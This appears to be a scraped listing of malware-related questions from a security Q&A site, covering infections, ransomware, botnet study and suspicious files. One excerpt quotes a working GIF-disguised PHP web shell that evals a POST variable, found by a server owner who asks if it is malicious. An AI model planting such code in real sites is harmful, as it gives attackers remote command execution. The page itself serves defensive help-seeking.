Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

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3answers
1k views

What do I do, I got a virus warning on a webpage

I went to the web address (hxxp://www.asanka.com) (WARNING: BE CAREFUL WHEN VISITING) on Safari, then suddenly I got a warning message [image below] What do I do? I'm freaked out. I have a lot of ...
-1
votes
1answer
87 views

indicators of compromise via email servers

Malicious files are commonly infiltrated on to the network via email attachments. Besides awareness and education to my staff to refrain from clicking on suspicious attachments, I would also like to ...
7
votes
1answer
427 views

Javascript phishing attack sucker: Do I need to be worried? [closed]

So, I'm an idiot. I opened a javascript phishing attack file. I would really, really appreciate some help with decoding the Javascript to figure out whether I'm in trouble, and what sort. I'm on OS X ...
3
votes
2answers
216 views

Mystery IP address Hijack

I'm working on a customer's new website. To get things up and running quickly, we're maintaining his domain name service and hosting the website on another server. Customer bought the URL name years ...
3
votes
1answer
55 views

Secure online server -> Airgap transport?

I'm facing the issue to develop a system which archives some data, which was available via a web-server some time before (to selected users). Now the question arises on how to securely transport the ...
6
votes
3answers
384 views

Malware: extract private keys from smartcard?

We all appreciate smartcards because they secure private keys so they don't get exposed to the world. But in a production-environment it's often the case that smartcards are staying inserted for a ...
8
votes
2answers
879 views

How to avoid ransomware

Malware files execute themselves after downloading them. Let's look at it from the point of view of a piece of ransomware like CryptoLocker, from Wikipedia: Crypyowall 3.0, uses a payload ...
4
votes
2answers
644 views

Can malware provide hidden remote access to a user's desktop?

Is there a possibility that malware on a computer could be providing remote access to an external party without the computer user being aware? I.e., some kind of hidden active remote access tool? I.e....
4
votes
2answers
853 views

How do cryptographic algorithms help hackers to bypass Antivirus software?

I was wondering how do hackers use cryptography for bypassing antivirus software. I don't have some deep understanding on how antivirus software works, but I know that every antivirus has base of ...
4
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2answers
117 views

How to sanitize archive files?

I am looking for a way to make sure that a particular archive file does not contain any sort of malicious code. From time to time new vulnerabilities pop up (e.g. gzip, 7zip) so I though a good idea ...
1
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0answers
74 views

Open Source Software & Android Malware Campaigns [closed]

I am looking to find a report that lists malware campaigns launched against Open Source Software (OSS) and/or Android OS. Ideally, this report would have been published in 2014. I am trying to ...
1
vote
2answers
793 views

How effective is antivirus software? [duplicate]

On one hand, most antivirus websites claim their products are highly effective, and I've seen antivirus "test" videos claiming 95%+ detection rates for new malware (as in less than a day old, not old ...
3
votes
1answer
5k views

Zeus botnet source code

I am doing my project on botnets and wanted to understand the source code of the Zeus botnet. Where is the right place to get started with some analysis of zeus botnet source code? I need a good ...
1
vote
2answers
415 views

A malicious folder is created automatically? [closed]

After I ran a third party game and uninstalled it, my antivirus is showing this message repeatedly every 7-8 seconds. When I run the antivirus it shows the malware detected and removed, but again ...
18
votes
3answers
1k views

How can a font be used for privilege escalation?

Recently Kaspersky released an analysis of Duqu 2.0 and apparently the malware used a True Type Font File to exploit a critical vulnerability (CVE-2011-3402) to "jump directly into Kernel". I haven't ...
1
vote
3answers
322 views

How to get started as a Malware Analyst? [closed]

Sorry if this is posted in the wrong section. A little about me: I'm going to be a sophomore in the fall at university, my major is Computer Science (Information Assurance). I've been interested in ...
1
vote
2answers
162 views

Malware From from external drive

How do malware start from external drives? Especially on Windows (from > Windows 7) commands like Open=Example.exe on an autorun.inf file have been defaulted disabled to not allow auto run when an USB ...
1
vote
4answers
16k views

“Virus Found” Web Browser Pop-up

I use a website that typically creates a new tab with an ad on the first click. Usually, I can close the tab without even looking at it, but recently a more aggressive strain brings up a pop-up (for ...
5
votes
1answer
147 views

Video site requests Adblocker to be shut off, next day I have 3 “weird” bookmarks

I was on a site trying to view a video and the site requested that I turn off my adblocker to view the video. So I did and then the next day I noticed that I had 3 "weird" bookmarks in my bookmark ...
0
votes
0answers
178 views

injecting javascript in webviews in Android

I am relatively new to mobile application security. Currently I am supposed to audit an android application which uses a webview to display some static FAQ page in an activity. The webview in ...
3
votes
1answer
104 views

Hooking an *unexported* API

I want to know is there any way to hook (inline hook) an unexported API of a PE? I have this binary (PE 32 bit) which does not uses any DLL (A statically linked binary) and I would like to know what ...
1
vote
2answers
180 views

Server full disk encryption protection from malware

A group of LINUX servers is using dm-crypt to encrypt data. The servers do not store data long-term but are only temporary stopping points for data before it is sent to other systems. The time the ...
2
votes
1answer
123 views

How long does it typically take to distribute malware signatures?

Are there industry-wide measures that identify how long it typically takes to identify, develop and distribute new malware signatures? I want to understand how long organizations are typically ...
0
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0answers
122 views

Linux: Chinese Unionpay plugin, Ubuntu 64-bit - Spamware / Trojan?

China / Linux / Bank / Trojan / Backdoor / Executables Hey guys. I've got an account with a Chinese bank (I live here), and in the process of setting up an online account for the Chinese version of ...
0
votes
1answer
209 views

What items should be on a malware remediation checklist? [closed]

Edit: Let's assume Windows 7 and potentially Windows Server 2003/2008. IMHO, any machine that has malware should be reimaged/reformatted/OS reinstalled before it is deployed back into the environment....
2
votes
1answer
192 views

Data collection when responding to malware alerts

When investigating malware alerts I would like to collect some information from the system before the decision gets made to take the system off of the network and re-imaged, or if further forensics is ...
0
votes
7answers
5k views

Malware ad.adsmatte infection

My PC is infected with malware, whenever I open a webpage and click on it a new tab opens on "ad.adsmatte.com". I scanned my PC with Malwarebytes but was unable to resolve the problem. So I ...
27
votes
1answer
3k views

What is an n-day security attack?

There are several attacks types in computer security. For instance, zero-day attacks consist of attacks that use undisclosed exploits. In contrast, what is an n-day attack? Is it a security concern?
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votes
2answers
96 views

can this be canceled [closed]

Limi1.com put up a malware alert on my computer, with an accompaining number to call. it stated for 29.97 it would be fixed. this was last night today I called my credit card, and was told a charge of ...
1
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2answers
87 views

Potential worm damage on a physically isolated Tor system

I'm setting up a physically isolated Tor system (with one computer serving as the workstation and another as a Tor gateway), and I'm concerned about methods a worm could use to infect my OS. In the ...
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votes
2answers
112 views

Website Loading Content from Malicious Sites

I own a website. Now today I find that when I load the site, Chrome shows "waiting for xxx.com" and some other unknown sites. I never added content or links from these sites. The website is running on ...
2
votes
1answer
189 views

running botnet for analysis

I a very curious to understand botnets practically. I want to run a p2p botnet (storm or waledac) for analysis and learning. I have mainly two issues: Where can i get access to binaries of either ...
3
votes
0answers
119 views

Lowercase 'w' seen in C:\windows application paths from wmic services list

In reviewing several Windows 7 computers built from the same image (using wmic services command), I'm seeing most all the Window services paths displayed as C:\windows not C:\Windows. The 'w' is ...
6
votes
3answers
344 views

Risk of spyware on seized devices

This question (Prevention measures against laptop seizure at US borders) addresses a number of techniques for securing data while crossing borders. Perhaps the most useful advice was to simply not ...
2
votes
1answer
111 views

Is drag-and-drop safer than using the clipboard when it comes to protecting sensitive data from keyloggers?

I noticed that multiple password-locker applications recommend that you use the drag-and-drop feature to transfer passwords to login forms instead of copying the passwords to the clipboard or having ...
0
votes
3answers
192 views

Is my LAN infected?

I don't know if this is the right place for this question but here it goes... When I access websites that have Google ads included with a device (pc, tablet, laptop) connected to my LAN, these ads ...
0
votes
2answers
462 views

What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php $...
2
votes
2answers
93 views

What will happen to my Windows PC if I visit a site from a network marked as malicious by google safebrowsing [closed]

Google rated a whole network in china as malicious: http://www.google.com/safebrowsing/diagnostic?site=AS:4134 Quite a few of our customers have their websites hosted in that network (e.g. http://...
2
votes
3answers
2k views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
6
votes
1answer
2k views

How can one create one's own anti-virus scan server at home? [closed]

I suppose that every one used a service such as virustotal.com, anubis.iseclab.org, or any other service that could provide the same objective to scan same files. So my question is how can I make ...
3
votes
5answers
2k views

Can any dangerous file(Virus, Trojan, Malware, etc) cause harm inside a zip or rar?

I am using Windows 8.1 pro with Mozilla Thunderbird for my email requirements. I have my Thunderbird set to auto download all email attachments, however upon runnning a Virus scan I am seeing many ....
1
vote
2answers
253 views

How can I detect unencrypted self-executing code in JPEG images?

Assuming that I have an infected image containing a self-executing malicious code that targets my image viewer and executes when I open the file. Supposing also that my computer is completely clean ...
1
vote
2answers
572 views

Malicious self-executing code can only exist in EXIF data in JPEG images?

Let's say we got an infected JPEG image that just by viewing it can automatically execute the malicious code stored inside it. It can do this either by taking advantage of the image viewer's security ...
-1
votes
1answer
670 views

Offline malware / script scanner for webfiles (PHP and HTML) [closed]

I have downloaded an entire copy of a website that has been used as a spam relay. I think I have tracked down the problem to a loophole in a contact form (now closed, but was not used, but still ...
1
vote
4answers
478 views

Malware script uploaded - CPU has been maxed out

I received notifications that the CPU was maxed out. Using Process Manager in WHM, I could see that commands named "fuckyou" was running some kind of cron sript on our server. The file it was calling ...
1
vote
2answers
1k views

Protecting the BIOS from malware [closed]

The BIOS operates at a lower level than the OS, so antivirus software cannot scan it. Is there any other security software that we should use to protect the BIOS?
2
votes
3answers
109 views

Methods to have multiple Anti Virus installed on one machine

I am running Windows 8.1 Pro, Ideally I would like to have the top 5 Anti Virus installed but I am aware it is not advised as they can clash with each other. I was wondering if there is a favoured ...
0
votes
0answers
55 views

Is it possible to lock guest VMs (or processes) to sticks of physical RAM to prevent row hammer attacks?

I was wondering if it is possible through some means to isolate processes (or preferably guest VMs) to physical sticks of RAM. This would be to prevent row hammer like attacks from using physical ...
17
votes
5answers
3k views

The Perfect Mousetrap - Can a sandbox system be designed such that it's identical to an actual computer? [duplicate]

In testing suspicious files for malware, the typical method is to search for known malicious code. This is why zero-day malware attacks can be so dangerous — their malicious code is previously unknown ...
12
votes
2answers
6k views

Sites being redirected to adult site in all devices [closed]

From past couple of days, we are facing this issue where sites are automatically being routed to an adult site, although we get a 404 Not Found HTTP error. First guess is obviously that my system is ...